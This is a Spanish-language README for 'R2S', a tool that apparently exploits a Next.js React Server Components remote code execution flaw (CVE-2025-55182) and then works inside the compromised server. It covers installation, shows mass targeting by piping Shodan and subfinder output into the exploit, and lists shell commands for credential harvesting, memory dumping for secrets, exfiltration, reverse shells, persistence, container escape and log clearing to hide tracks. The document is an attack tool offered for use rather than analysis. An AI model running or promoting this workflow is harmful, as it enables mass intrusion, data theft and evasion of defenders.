R2S es un framework integral de explotación y post-explotación dirigido a la vulnerabilidad de React Server Components de Next.js (CVE-2025-55182). Proporciona un shell interactivo con funciones avanzadas para pruebas de penetración, incluyendo transferencia de archivos, persistencia, enumeración, comprobaciones de escalada de privilegios y más.
Framework avanzado de post-explotación para RCE de React Server Components de Next.js
Características • Instalación • Uso • Comandos • Ejemplos
R2S es un completo framework de explotación y post-explotación que apunta a la vulnerabilidad de React Server Components de Next.js (CVE-2025-55182). Proporciona un shell interactivo con funciones avanzadas para pruebas de penetración, incluyendo transferencia de archivos, persistencia, enumeración, comprobaciones de escalada de privilegios y más.
.env y archivos de configuración# Python 3.6 or higher
python3 --version
# Install dependencies
pip3 install requests urllib3
# Clone or download the tool
cd r2s-main
# Make executable (optional)
chmod +x r2s_enhanced.py
# Run the tool
python3 r2s_enhanced.py -h
python3 r2s_enhanced.py [OPTIONS]
| Opción | Descripción | Por defecto |
|---|---|---|
-u, --url | URL del objetivo único | - |
-l, --list | Archivo que contiene lista de URLs | - |
-c, --cmd | Comando inicial a ejecutar | id |
-t, --threads | Número de hilos de escaneo | 30 |
-p, --proxy | Proxy HTTP (ej., http://127.0.0.1:8080) | - |
-v, --verbose | Habilitar salida detallada | False |
--http-port | Puerto del servidor HTTP para transferencia de archivos | 8000 |
python3 r2s_enhanced.py -u http://target.com
python3 r2s_enhanced.py -l targets.txt -t 50
cat targets.txt | python3 r2s_enhanced.py
shodan search "Next.js" | python3 r2s_enhanced.py
subfinder -d example.com | httpx | python3 r2s_enhanced.py
Una vez que obtengas acceso RCE, entrarás a un shell interactivo con estos comandos:
upload <local_file> <remote_path> # Upload file to target
download <remote_file> <local_path> # Download file from target
cd <directory> # Change working directory
pwd # Print working directory
enum # Complete system enumeration
privesc # Privilege escalation checks
harvest # Credential harvesting
portscan <ip> # Scan internal network ports
memdump [pid] # Dump process memory for secrets
lateral # Lateral movement opportunities
escape # Container escape vectors
exfil [type] # Exfiltrate data (env/config/keys/db/logs/all)
reverse <lhost> <lport> # Try multiple reverse shell payloads
persist # Add basic persistence
advpersist # Add advanced persistence
stealth # Clear logs and hide tracks
save # Save current session
help, ? # Show help message
exit, quit # Exit interactive shell
Ejecuta cualquier comando de shell directamente:
whoami
id
uname -a
ps aux
netstat -tulpn
cat /etc/passwd
$ python3 r2s_enhanced.py -u http://vulnerable-app.com